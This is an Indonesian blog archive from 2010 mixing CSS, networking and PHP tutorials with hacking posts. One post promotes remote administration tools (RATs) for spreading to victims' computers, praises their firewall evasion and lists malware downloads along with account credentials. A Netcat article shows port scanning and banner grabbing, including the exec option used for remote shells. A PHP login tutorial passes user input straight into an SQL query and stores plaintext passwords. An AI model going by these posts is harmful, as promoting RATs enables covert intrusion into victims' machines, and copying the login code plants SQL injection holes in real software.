Jumat, 30 Juli 2010

Remote Administration Tools (RAT)

Apa itu RAT?
Oks RAT kependekan dari Remote Administrator TOol
Rat di gunakan untuk menghubungkan dan mengatur satu atau lebih komputer dengan berbagai kemampuan seperti:

# Screen/camera capture atau control
# File management (download/upload/execute/dll.)
# Shell control (CMD control)
# Computer control (power off/on/log off)
# Registry management (query/add/delete/modify)
# spesifikasi dari Produk RAT lain masing2.
Direct Connection



RAT type direct-connection adalah RAT dengan set up yang simple dimana Client(orang yang menyebarkan)mengkoneksikan dirinya ke satu atau lebih Server(komputer korban)secara langsung.
Reverse Connection
RAT yang menggunakan dan mengutilisasi Reverse Connection memiliki Beberapa Kelebihan
#Keluar masuk nya koneksi umumnya tidak terlacak. dan tidak terdeteksi atau di Block oleh Firewall,seperti Router.
#karena Remote komputer mengkoneksikan ke Remote administrator,Si pelaku tidak perlu mengetahui IP korban untuk melakukan hubungan.jadi dalam satu RAT pasti akan ada Client dan Server.2 Tools dalam satu software.
#mass-distribution,artinya kita bisa menyebarkan Server nya ke pada siapapun ,dan kita bisa mengontrol komputer – komputer yang sudah terinstal kan Server kita (remote komputer)lebih dari satu pada saat bersamaan.
#Jika Mass-distribution dilakukan,lebih mudah untuk Tracking komputer yang sudah di sadap dan terinstallkan RAT tersbut.karena ada fasilitas “calling home” oleh koneksi ke REmote administrator (komputer kita)
Most Pupolar RAT programs With Links, see below:
1. Cerberus RAT
2. Nuclear Rat 2.1.0
3. Prorat RAT
Username: mohdjase1 Password: 66618e869accfc4f96
4. CyberGate RAT
5. Seed 1.1 Rat
6. Lost Door V4.2 LIGHT
7. Apocalypse RAT
8. SubSeven RAT
9. Spy-Net RAT
10.Turkojan Gold RAT
Other Best Rat
11.Poison Ivy Rat
12.Shark RAT v3.0.0

Kamis, 29 Juli 2010

Dasar-dasar CSS 2

Melanjutkan pembahasan dasar-dasar CSS yang lalu, kali ini saya ingin membahas tentang selector. Tetapi sebelum kita menuju bahasan utama, ada baiknya kita berbasa-basi dulu. Ibarat lagu, jangan langsung ke reffrainnya.

Ok, kita mulai basa-basinya. Saya membuat blog baru, bertajuk "Tips N' Trik Blogging". Jangan lupa ya kunjungi di alamathttp://tipntrikblogging.blogspot.com/. Maklum masih baru jadi belum ada tutorialnya sama sekali. Tapi saya mengundang 10 orang untuk menjadi guest blogger. Silahkan kirim saya E-mail (di link E-mail me), lalu anda akan menerima E-mail dari Blogger, silakan ikuti langkah-langkah selanjutnya.

Sudah cukup basa-basinya, sekarang kita ke bahasan pokok. Ada beberapa macam sselector. Diantaranya:

1. Class selector

Class selector adalah selector yang boleh diulang-ulang, dan cara penulisannya dengan cara menambahkan tanda titik (.) diikuti dengan nama classnya. Contoh:
.namaclass{color:blue}
Dan cara pengaplikasiannya adalah dengan menggunakan atributclass="...". Contoh:






Ini adalah teks biasa.

Ini adalah teks dengan class selector "namaclass".


2. ID selector.

ID selector adalah selector yang hanya bisa dipakai untuk satu elemen, dengan kata lain, tidak boleh diulang-ulang. Cara penulisannya adalah dengan menuliskan tanda kres/pagar (#) sebelum nama selector. Contoh:
#namaid{background:black;color:white;}
Lalu cara pengaplikasiannya adalah dengan menambahkan atributid="...". Contoh:






Ini adalah teks biasa.

Ini adalah teks dengan id selector "namaid".


3. Tag selector

Tag selector adalah selector yang diaplikasikan kepada tag yang menjadi nama selectornya. Contoh:
body{background:black;}
Anda tidak perlu menambahkan atribut tertentu untuk membuatnya bekerja karena secara otomatis akan diaplikasikan kepada tag yang dijadikan nama selectornya. Pada contoh diatas, berarti tag akan berlatar belakang hitam. Secara lengkap seperti ini.






Body akan berlatar belakang hitam.


4. Pseudo class

Ada beberapa pseudo class. Yaitu:
  • active: Properti untuk link/sesuatu yang sedang diklik.
  • hover: Properti untuk link/sesuatu ketika kursor mouse berada di atasnya.
  • visited: Properti untuk link yang sudah dikunjungi.
Cara menulisnya adalah:
(tag/id/class selector):pseudo class{properti:nilai;}
Contoh:






Link 1

Link 2

Link 3


Ini adalah teks dengan class "contohcss".



Ini adalah teks dengan id "contohcss2".


Catatan:

Pada Internet Explorer, pseudo class dengan selector selain a tidak didukungnya.

Kontekstual selector

Kontekstual selector adalah kondisi dimana selector akan diaplikasikan kepada selector yang konteksnya tepat (nggak mudeng yak? bingung juga...). Contoh:
b i{color:blue;}
Contoh lengkapnya:






Warna teks ini akan biru

Warna teks ini akan hijau

Warna teks ini akan ungu

Warna teks ini akan jingga

yang ini akan biru kecuali yang ini yang tadi berwarna ungu

Warna latar belakang akan hijau

Nah, kalau yang ini akan berwarna ungu

Yang ini? berwarna kuning

Kembali ke warna ungu lagi latar belakangnya


Bingung ya? Semoga saja mudah dipahami. Pada tutorial berikutnya saya akan membahas tentang beberapa properti dalam CSS. Semoga bermanfaat!

Dasar-dasar CSS 1

CSS, Tutorial CSS
Untuk mempercantik template, kita harus berurusan dengan yang namanya kode CSS. Tapi, banyak pemula masih bingung dengan kode CSS. Nah, untuk itu saya berikan dasar-dasarnya dulu. Dasar-dasar CSS ini akan diterbitkan secara berurutan dan nantinya akan muncul secara berseri. Sebelum belajar CSS, anda perlu mengetahui dulu tentang HTML dan diharapkan membaca dulu dasar-dasar kode HTML bagian 1, bagian 2,bagian 3, dan bagian 4. Untuk permulaan, saya bertanya. Apa sih yang namanya CSS itu?

CSS adalah singkatan dari Cascading Style Sheet. Bisa digunakan untuk menentukan style dari situs web, misalnya layout, warna, latar belakang, dan lain-lain. Cara penulisan kode CSS seperti ini.
selector{properti:nilai;}
Selector adalah "nama" dari kode CSS (bingung nyebutnya apa jadi anggap aja begitu...). Properti adalah sifat-sifat dari selector. Sedangkan nilai adalah nilai dari properti. Misalnya:
body{color:#FFFFFF;}
Artinya: selector body akan mempunyai sifat warna teks yang berwarna putih.

Lalu ada juga yang namanya komentar. Komentar diawali dengan kode /*dan diakhiri dengan kode */. Panjangnya boleh satu atau beberapa baris. Kode CSS yang ditaruh diantara kedua kode tersebut tidak akan diproses oleh browser. Contoh:
/* Ini contoh komentar pada CSS
bisa satu baris atau lebih. */
body{/* ini adalah nama selector */
color:white; /* artinya selector body akan bersifat warna teks putih */
}
CSS bisa dimasukkan pada situs web dengan beberapa cara.

1. Dengan kode 2. Dengan kode style="..." (inline style). Contoh:
Bagian ini akan berlatar belakang warna hitam.
Anda bisa saja menggunakannya pada elemen selain div. Yang penting, kode CSS-nya ditaruh diantara kode style="...". 3. Dengan metode impor style. Kodenya seperti berikut.
Kode tersebut ditaruh diantara kode  dan kode . Yang penting ganti bagian URLFILECSS dengan URL dari file CSS yang anda simpan di web hosting. Untuk kali ini segitu dulu. Kapan-kapan dilanjutkan dengan pembahasan tentang selector. Terima kasih dan silakan komentar untuk kemajuan blog ini. Terima kasih.

Rabu, 28 Juli 2010

Cara Share Internet dengan 2 LAN card

Ini adalah cara share koneksi internet kabel dengan 2 LAN pada windows XP. Ada 4 langkah :

1. Jaringan default dari kabel ISP
2. Setting windows agar bisa share koneksi
3. Setting IP pada tiap LAN card
4. Hubungkan LAN kedua dan silahkan browsing


Keterangan :

1. Jaringan default dari kabel ISP :
ISP via tv kabel->cable modem->LAN card komputer pertama, pastikan internetnya sudah hidup dan sudah bisa browsing.

2. Settign windows agar bisa share koneksi :
start->Programs->accessories->Communications->Network Setup Wizard Next sampai muncul windows.

Berikutnya network-setu-wizard-pic2.jpg pilih sesuai petunjuk pada gambar network-setu-wizard-pic2.jpg

Defaultnya adalah LAN Card yang konek ke internet.

Lalu next saja sampai selesai. kalau minta di save ke disket di tolak jawab NO dan finish.

Pastikan Internet Connection Sharing pada LAN properties pada komputer pertama yang terhubung ke cable modem terpilih. Cek “Allow other network users to connect through this computer’s Internet connection” internet connection sharing.

3. Setting IP pada tiap LAN card :
Setting LAN card yang ke Internet(komputer 1)- default dari teknisinya.
- Obtain an IP address automaticaly
- Obtain DNS Server Address Automatically

Setting LAN card yang menuju Komputer Lain (komputer 1) :
IP Address : 192.168.0.5
Subnet Mask : 255.255.255.0
Default Gateway : Kosongin aja
DNS : Kosongin aja

Setting LAN Card pada komputer Lain(komputer 2,3,4,5,dsb):
IP Address : 192.168.0.10
Subnet Mask : 255.255.255.0
Default Gateway : 192.168.0.5
Prefered DNS Server : Samakan dengan DNS pada LAN yang konek ke Internet
Alternate DNS Server : Samakan dengan DNS pada LAN yang konek ke Internet

4. Hubungkan LAN kedua dan silahkan browsing :
Sambungkan LAN card anatara komputer 1 dan komputer 2 dengan menggunakan kabel cross. Silahkan browsing.

Tambahan bagi yang tidak tahu cara setting IP :
Start->Setting->Control Panels->Network Connections
Klik kanan->Properties(pada Local Area Connection)
pada Tab->general
cari This connection use the following items->Internet Protocol(TCP/IP)
klik properties->pada tab general pilih obtain an IP address automatically
ini setting yang DHCP, untuk yang statik pilih Use this following IP address.

Bagi yang tidak tau cara liat DNS :
Star->Setting->Control Panels->Network Connections
klik kiri 2x pada LAN card yang konek ke internet
pada Tab->Support
ada tombol detail, disana ada yang namanya DNS server, itulah DNS dynamic yang diberikan oleh ISP anda.

Note :
1. gunakan kabel cross untuk menghubungkan lan card pc1 dan lan card pc2.
2. gunakan kabel straight untuk menghubungkan cable modem dan lan card pc1.

Ringkasan :
1.pastikan koneksi internet dari ISP sudah jalan.
2. share koneksi pada LAN card pertama.(lihat pada windows agar bisa share koneksi)
3.setting IP, subnet mask, gateway dan dns pada tiap LAn card.
4.selamat internet anda sudah di share
5.jangan lupa gunakan kabel cross untuk menghubungkan lan card pc1 dan lan card pc2.

Selasa, 27 Juli 2010

Dasar-dasar Css 3

Sudah lama dasar-dasar CSS dan konsultasi matematika absen. Tapi yang saya akan bicarakan hari ini bukanlah konsultasi matematika, melainkan dasar-dasar CSS. Saya akan membahas tentang properti yang digunakan untuk memformat suatu teks. Sebelum membaca yang ini, saya harap anda sudah membaca dasar-dasar CSS 




edisi 1
 dan edisi 2.

Maksudnya memformat suatu teks yaitu misalnya membuat teksnya berwarna biru atau membuat teksnya tebal. Ada beberapa properti. Yaitu:




1. color: warna dari teks. Bisa diisi dengan kode hex dari warna yang diinginkan atau memakai kata-kata (dalam bahasa inggris)
2. font-family: jenis huruf. Misalnya: Arial, Verdana, dll. atau dapat diisi dengan font generik. Contoh: Arial, Tahoma, Verdana; Trebuchet, Arial, Sans-serif, Verdana; dll.
3. font-size: ukuran huruf. Bisa diisi dengan angka dalam piksel, nilai: xx-small, x-small, small, medium, large, x-large, xx-large; atau menggunakan nilai smaller (lebih kecil) atau larger (lebih besar).
4. font-weight: ketebalan huruf. Nilainya: normal, bold, bolder, light, lighter.
5. text-transform: pengaturan huruf kapital pada teks. Nilainya: uppercase (huruf kapital semua), lowercase (huruf kecil semua), capitalize (huruf kapital pada awal setiap kata), atau none.
6. text-align: posisi perataan teks. Nilainya: left (rata kiri), center (rata tengah), right (rata kanan), atau justify (rata kiri-kanan).
7. line-height: tinggi baris. Nilainya: angka (dalam piksel atau em).
8. text-decoration: dekorasi teks. Nilainya: blink (tulisan berkedip), underline (bergaris bawah), line-through (teks tercoret), overline (garis diatas teks), atau none. Atau bisa juga digabung. Misal untuk membuat teks dengaan bergaris bawah dan berkedip maka tulisannya: underline blink.
9. text-indent: jarak teks dari garis terluar pada baris pertama. Nilainya diisi dengan angka (dalam piksel)
10. white-space: properti untuk mengatur tampilan spasi. Maksudnya, pada kode HTML biasa, kita tidak bisa menuliskan spasi lebih dari satu kali. Misalnya kita ketikkan Teks     contoh. (dengan 5 spasi) maka yang tampil hanya Teks contoh. (dengan 1 spasi). Kita bisa mengakalinya dengan menggunakan tag 

 dan 
 atau menggunakan kode  sebagai pengganti spasi. Nah, anda juga bisa menggunakan properti ini. Nilainya: pre (untuk menampilkan spasi) atau normal.
11. letter-spacing: jarak antarhuruf. Nilainya dapat diisi dengan angka (dalam satuan piksel).
12. word-spacing: jarak antarkata. Nilainya sama dengan letter-spacing, dapat diisi dengan angka dalam satuan piksel.

Buka Notepad lalu ketikkan seperti berikut.








Warnanya akan berwarna abu-abu


Hurufnya akan menggunakan font "Arial, Tahoma dan Verdana"


Huruf ini akan berukuran 24 piksel


Hurufnya akan menjadi tebal


Teksnya akan menjadi huruf kapital semua


Teksnya akan menjadi rata tengah.

Lihat kan???


Coba apa yang terjadi jika saya menggunakan properti line-height ini.

Oh... ternyata pada masing-masing baris akan diberi jarak sela sebesar 1,5 em.


Teks ini akan berkedip-kedip bikin pusing mata. Hehehe...


Pada teks ini akan mempunyai text indent sebesar 12 piksel.


Di Kode HTML kita tidak bisa memberikan spasi lebih dari satu kali.

     kecuali dengan menggunakan properti white-space ini. Hehehe...


Spasi antarhuruf pada teks ini akan berjarak 1,5 piksel


Spasi antarkata pada teks ini akan berjarak 2 piksel


Lalu simpan dengan nama apa saja, asalkan berekstensi .html (misal: belajarcss.html). Lalu pilih bagian Save as type, lalu ganti dengan All Files. Lalu klik Save.

Lalu buka file yang telah anda buat. Kira-kira hasilnya seperti ini (klik gambar untuk melihat lebih jelas).

Belajar CSS
Sekian pembahasan kali ini. Apabila ada kekurangan mohon maaf. Terima kasih.


Jumat, 23 Juli 2010

Ebook Gratis di Balik Misteri Sang Hacker

Buku ini berusaha menampilkan dua sisi hacker, sisi pertama adalah mereka yang menggunakan kemampuan teknisnya untuk mengembangkan dunia teknologi informasi dan computer. Kelompok ini kerap disebut dengan istilah White-Hat Hackers.


Quote:
Sedangkan di sisi lain adalah mereka yang menggunakan kemampuan teknis untuk melakukan sesuatu yang melanggar batas-batas norma dan etika.Inilah kelompok Black-Hat Hackers,kelompok yang sangat dekat dengan kejahatan elekronik. Namun,sebenarnya dunia hacker tidak hitam-putih, istilah White-Hat dan Black Hat tidak bisa jadi harga mati. Umumnya seorang yang bergerak di bidang computer dan gemar melakukan kreasi dan eksperimen,terutama di bidang keamanan computer, lebih cocok dimasukkan dalam golongan Gray-Hat Hackers, hacker topi kelabu.

Di dalam buku ini Anda akan menemukan Hacker dari dua golongan tersebut yaitu Tim Berners Lee, Linus Torvalds dan Richard Stallman dari golongan White Hat, dan nama-nama terkenal seperti Robert Tappan Morris, Kevin Mitnick, Vladmir Levin, Loyd Blankeship, Kevin Poulsen dan Adrian Lamo dari Black Hat serta secuil cerita tentang sedikit Hacker dari Indonesia. Jika Anda tertarik Anda dapat mendownloadnya

Code:
http://www.ziddu.com/download/9981382/DiBalikKisahHackerLegendaris.pdf.html

Kamis, 22 Juli 2010

Ide Membuat Sistem Login Aplikasi Multi User

Bismillah… pada artikel kali ini saya akan mencoba memaparkan bagaimana teknik atau ide dalam membuat sistem login untuk aplikasi multi user.
Dalam suatu aplikasi bisa jadi terdapat lebih dari satu user dan dengan level yang berbeda-beda. Dengan adanya pembagian level tersebut diharapkan adanya hak akses yang berbeda. Untuk memudahkan Anda dalam membayangkan hal ini, misalkan terdapat 5 user katakanlah A, B, C, D dan E dimana user A, B dan C adalah level ‘administrator’, sedangkan D dan E user biasa. Nah… user A, B, dan C ini misalkan berhak mengakses halaman 1, 2 dan 3 dari aplikasi sedangkan D dan E hanya boleh mengakses halaman 3 saja. Dengan kata lain hak akses ke halaman-halaman tersebut ditentukan oleh level usernya.



Pemberian hak akses pada masing-masing user ini bisa dalam bentuk link menu. Ketika seorang user telah melakukan login, dan loginnya sukses maka akan muncul menu link ke halaman-halaman yang boleh diaksesnya. Sebagai gambaran misalnya pada contoh di atas, setelah user A login dan loginnya berhasil maka akan muncul menu link menuju ke halaman 1, 2 dan 3 karena si A ini levelnya Administrator. Namun untuk si D, karena levelnya user biasa, maka hanya akan muncul menu link menuju halaman 3 saja.
Nah… lantas bagaimana ide dan teknik dalam membuat sistem login terkait dengan hak akses untuk multi user seperti kasus di atas? Inilah yang akan saya beberkan rahasianya dalam artikel ini. Artikel ini merupakan request dari xfreecode (member saya) sekaligus salah satu dari sekian banyak trik dan teknik yang saya paparkan pada peserta kursus online PHP bersama saya.

Ide dan teknik untuk menyelesaikan kasus di atas sebenarnya hanyalah pada penggunaan SESSION. Setelah user berhasil login, maka dibaca level usernya. Untuk memudahkan pengecekan level user ini, maka level user disimpan pada SESSION. Nah.. level user yang tersimpan dalam SESSION inilah yang nantinya akan banyak dicek untuk keperluan pembatasan hak akses user pada halaman-halaman yang sifatnya private.
OK.. OK… sudah paham deh idenya, tapi gini… bagaimana seandainya ada user yang nakal? misalkan user E dengan level user biasa kebetulan tahu link URL menuju ke halaman 1. Lantas si E ini mencoba mem bypass link menuju halaman 1 melalui URL langsung tanpa melewati menu link, padahal halaman 1 ini adalah restricted area bagi user biasa (dalam hal ini si E). Nah lo… gimana hayoo?? ya… seorang programmer harus pinter-pinter ngakali. Trus… Gimana ngakalinya? ya… sebelum bagian script yang menampilkan konten pada halaman 1 terlebih dahulu harus mengecek level usernya sebagai ‘administrator’ atau tidak, melalui pengecekan SESSION nya. Jika ya, maka tampilkan kontennya, dan jika tidak maka munculkan pesan ‘Anda mau mencoba masuk ya?? Kagak boleh atuh ‘ :-)
OK.. deh … stop berteori, sekarang let’s do it! :-)
Untuk studi kasusnya, misalkan kita punya data user sebagaimana tersaji dalam tabel berikut ini
CREATE TABLE user (
  username varchar(20),
  password varchar(20),
  level varchar(20),
  PRIMARY KEY(username)
);
INSERT INTO `user` VALUES ('a', 'pass1', 'admin');
INSERT INTO `user` VALUES ('b', 'pass2', 'admin');
INSERT INTO `user` VALUES ('c', 'pass3', 'user');
INSERT INTO `user` VALUES ('d', 'pass4', 'user');
INSERT INTO `user` VALUES ('e', 'pass5', 'user');
Wah.. passwordnya kok tidak dienkripsi? he 3x… ya itu saya sengaja karena supaya Anda bisa mencoba script yang saya buat ini. Memang sebaiknya passwordnya Anda enkripsi, paling tidak menggunakan md5().
Nah.. selanjutnya kita buat form loginnya.
login.htm
Masukkan Username
Masukkan Password
Form login sudah dibuat, berikutnya kita buat script untuk memproses loginnya.
loginsubmit.php

 
// memulai session
session_start();
 
mysql_connect('dbhost', 'dbuser', 'dbpass');
mysql_select_db('dbname');
 
$username = $_POST['username'];
$password = $_POST['pass'];
 
// query untuk mendapatkan record dari username
$query = "SELECT * FROM user WHERE username = '$username'";
$hasil = mysql_query($query);
$data = mysql_fetch_array($hasil);
 
// cek kesesuaian password
if ($password == $data['password'])
{
    echo "

Login Sukses

";   // menyimpan username dan level ke dalam session $_SESSION['level'] = $data['level']; $_SESSION['username'] = $data['username'];   // tampilkan menu include "menu.php";   } else echo "

Login gagal

";   ?>
Bila Anda perhatikan pada script di atas, maka terlihat bahwa menunya membaca script menu.php. Di dalam script menu.php sendiri nantinya terdapat pengecekan level usernya yang tadi tersimpan dalam session sewaktu login sukses. Bila level usernya adalah ‘admin’ maka tampilkan menu link menuju halaman 1, 2, dan 3. Begitu pula untuk level ‘user’.
menu.php

 
session_start();
 
if ($_SESSION['level'] == "admin")
{
    // tampilkan menu untuk admin
    echo "Halaman 1 ";
    echo "Halaman 2 ";
    echo "Halaman 3 ";
    echo "Logout ";   
}
else if ($_SESSION['level'] == "user")
{
    // tampilkan menu untuk user biasa
    echo "Halaman 3";
    echo "Logout "; 
}
 
?>
Selanjutnya, kita bisa mulai membuat konten pada halaman 1, 2 dan 3. Ingat.. sebelum menampilkan kontennya sebaiknya dicek level usernya terlebih dahulu. Bila levelnya tidak sesuai dengan hak aksesnya, maka jangan ragu untuk menolak :-) Untuk halaman 1, dari kasus yang kita ambil hanya bisa diakses oleh user berlevel ‘admin’ saja. Begitu pula untuk halaman 2. Namun untuk halaman 3, baik level ‘admin’ maupun ‘user’ biasa boleh mengaksesnya.
hal1.php

 
session_start();
 
// cek apakah user yang mengakses halaman ini sudah melalui login atau belum
// logikanya jika user telah login dan sukses, maka SESSION level dan SESSION username ini pasti sudah ada
// jika ada user yang mencoba akses halaman ini tanpa login, maka logikanya kedua SESSION belum ada
 
if (isset($_SESSION['level']) && isset($_SESSION['username']))
{
   // tampilkan menu. 
   // menu hanya ditampilkan bila halaman ini diakses oleh user yang telah login
 
   include "menu.php";
 
   // cek level user apakah admin atau bukan
 
   if ($_SESSION['level'] == "admin")
   {
       // tampilkan konten halaman 1 jika levelnya admin
 
       echo "

Halaman 1

"; echo "Selamat datang di halaman satu wahai user : ".$_SESSION['username'].""; echo "Ini adalah konten halaman 1 "; } else { // jika levelnya bukan admin, tampilkan pesan echo "

Maaf.. Anda bukan user berlevel Administrator

"; } } else { echo "

Nah.. Anda pasti mencoba akses halaman ini tanpa login ya?

"; }   ?>
Untuk halaman 2, konsepnya juga sama seperti script halaman 1 di atas, hanya yang berbeda pada kontennya tentu saja :-) Sekarang untuk halaman ke-3 di mana yang bisa mengakses adalah semua level user, scriptnya adalah:
hal3.php

 
session_start();
 
if (isset($_SESSION['level']) && isset($_SESSION['username']))
{
   include "menu.php";
 
   if (($_SESSION['level'] == "admin") || ($_SESSION['level'] == "user"))
   {
       echo "

Halaman 3

"; echo "Selamat datang di halaman tiga wahai user : ".$_SESSION['username'].""; echo "Ini adalah konten halaman 3 "; } } else { echo "

Nah.. Anda pasti mencoba akses halaman ini tanpa login ya?

"; }   ?>
Eits… hampir lupa, yang terakhir kita buat script logoutnya. Pada prinsipnya proses logout adalah menghapus semua session yang tadi terbentuk ketika login sukses.
logout.php

 
session_start();
session_destroy();
echo "

Anda sudah logout

"; echo "Login Kembali ";   ?>
That’s it… mudah bukan membuatnya? Mudah-mudahan artikel di atas menjawab semua unek-unek yang dihadapi bagi Anda yang ingin membuat aplikasi dengan multi user.
[ DOWNLOAD SCRIPT ]
VN:F [1.9.3_1094]

Rating: 6.0/10 (2 votes cast)

Selasa, 20 Juli 2010

Membuat warnet

Kemampuan untuk melakukan Instalasi dan setting untuk sebuah Warung Internet (Warnet) selama ini dianggap hanya dimiliki oleh mereka yang sudah lama berkecimpung di dunia IT Administrator. Dengan mematok biaya yang cukup lumayan mereka bersedia membantu kita dalam membangun sebuah Warnet yang hendaknya akan kita gunakan sebagai Unit Produksi. Ketidaktahuan tentang bagaimana sebuah sistem jaringan dapat berjalan lancar adalah alasan utama kita untuk terus menggunakan tenaga mereka.
Berangkat dari keadaan tersebut maka saya menuliskan panduan ini. Sengaja dibuat dengan menampilkan langkah demi langkah agar dapat dimengerti dan dipahami bahkan oleh seorang yang sama sekali belum mengenal jaringan.


Lebih lengkap, buka attachment di bawah ini ...
Attachments:
FileDeskripsi
Download this file (Instalasi dan setting untuk sebuah Warung 
Internet.pdf)Instalasi WarnetInstalasi dan setting untuk warung internet
 

Microtik OS sebagai Router

Sejalan dengan perkembangan teknologi informasi, peralatan-peralatan pendukung jaringan komputer masih sangat diperlukan. Peralatan tersebut pun kini menjadi komponen penting dalam pembangunan jaringan komputer. Router adalah salah satu komponen pada jaringan komputer yang mampu melewatkan data melalui sebuah jaringan atau internet menuju sasarannya, melalui sebuah proses yang dikenal sebagai routing. Router berfungsi sebagai penghubung antar dua atu lebih jaringan untuk meneruskan data dari satu jaringan kejaringan lainnya.
Router sendiri berharga tinggi dan masih sulit dijangkau oleh kalangan masyarakat kita. Router Mikrotik adalah solusi murah bagi mereka yang membutuhkan sebuah router handal dengan hanya bermodalkan standalone computer dengan sistem operasi Mikrotik.

Lebih lengkap, buka attachment di bawah ini ...
Attachments:
FileDeskripsi
Download this file (KAJIAN PENGGUNAAN MIKROTIK OS SEBAGAI 
ROUTER.pdf)Microtik sebagai RouterMicrotik sebagai Router

Hacking dengan Netcat

Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya
ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi
Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).
Fitur dari Netcat antara lain adalah:

• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari
port mana saja.
• Dapat membaca argumen pada command line dari standar input
• Full DNS forwarding/reverse checking
• Kemampuan untuk menggunakan any local source port
• Kemampuan menggunakan any locally-configured network source address
• Tersedia port scanning secara built-in
• Dan lain-lain
Dengan fitur di atas, banyak para hacker dan pengelola sistem memanfaatkan untuk melakukan
hal-hal sebagai berikut:
• Scanning port dan menginventori service-service yang terpasang pada server
• File transfer
• Pengujian dan simulasi terhadap server
• Pengujian terhadap firewall, proxy dan gateway
• Pengujian performance network
• Pengujian address spoofing
• Banner grabbing
Seluruh dokumen di IlmuKomputerComunity.co.cc dapat digunakan, dimodifikasi dan disebarkan
secara bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau
merubah atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen.
Tidak diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu
dari
IlmuKomputerComunity.co.cc
Artikel PopulerIlmuKomputerComunity.co.cc
2
Beberapa fitur dan pemanfaatan Netcat akan dijelaskan di bawah. Namun kami harus selalu
mengingatkan Anda, jangan pernah mencoba kemampuan netcat di sistem komputer yang
bukan milik anda sendiri !
Instalasi Netcat
Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux, melainkan juga
pada sistem operasi Windows.
Pada tulisan ini kami menggunakan Netcat dengan sistem operasi Windows. Semua perintah
pada command line sama dengan perintah yang terdapat pada Netcat dengan sistem operasi
Unix.
Instalasi Netcat pada sistem operasi Windows sangat sederhana. Pertama Anda dapat
mendownload dari situs http://www.atstake.com/research/tool...ork_utilities/ atau di
banyak situs hacker lainnya. Namun demikian Anda harus waspada jika mendownload dari situs
yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikasi menjadi trojan horse
yang dapat mengganggu sistem Anda
Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download yaitu
nc11nt.zip ke dalam sebuah direktori sebagai berikut:
C:\TMP\NETCAT> dir
Volume in drive C has no label.
Volume Serial Number is 141F-1208
Directory of C:\TMP\NETCAT
02/23/2003 05:03 PM


.
02/23/2003 05:03 PM
..
11/03/1994 07:07 PM 4,765 GETOPT.H
01/04/1998 03:17 PM 69,081 NETCAT.C
01/03/1998 02:37 PM 59,392 NC.EXE
11/28/1997 02:48 PM 12,039 DOEXEC.C
11/28/1997 02:36 PM 544 MAKEFILE
11/06/1996 10:40 PM 22,784 GETOPT.C
07/09/1996 04:01 PM 7,283 GENERIC.H
02/06/1998 03:50 PM 61,780 HOBBIT.TXT
02/06/1998 05:53 PM 6,771 README.TXT
02/22/2000 11:24 AM 2,044 AVEXTRA.TXT
10 File(s) 246,483 bytes
2 Dir(s) 8,868,044,800 bytes free
C:\TMP\NETCAT>
File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya perlu Anda perhatikan
bila Anda perlu melakukan kompilasi ulang.
Memulai Netcat
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada
Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui
option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:
C:\TMP\NETCAT> nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
Artikel Populer IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
3
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\TMP\NETCAT>
Secara umum perintah Netcat memiliki struktur sebagai berikut:
C:\> nc –opsi
Port Scanning
Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat
juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port
scanning
Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan
untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web
dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:
C:\TMP\NETCAT> nc -v -z server01 10-140
server01 [128.1.9.81] 139 (netbios-ssn) open
server01 [128.1.9.81] 113 (auth) open
server01 [128.1.9.81] 110 (pop3) open
server01 [128.1.9.81] 98 (?) open
server01 [128.1.9.81] 80 (http) open
server01 [128.1.9.81] 79 (finger) open
server01 [128.1.9.81] 25 (smtp) open
server01 [128.1.9.81] 23 (telnet) open
server01 [128.1.9.81] 21 (ftp) open
C:\TMP\NETCAT>
Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP
128.1.9.81. Option –z merupakan option yang dipergunakan untuk melakukan scanning.
Banner Grabbing
Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan
oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada
di dalam banner sebuah sistem.
Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya
menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti
terlihat pada baris kedua dari contoh hasil di atas.)
Artikel Populer IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
4
C:\TMP\NETCAT> nc -v -n 128.1.71.103 80
(UNKNOWN) [128.1.71.103] 80 (?) open
get http
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 03:34:24 GMT
Content-Type: text/html
Content-Length: 87
ErrorThe parameter is incorrect.

C:\TMP\NETCAT>
Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika
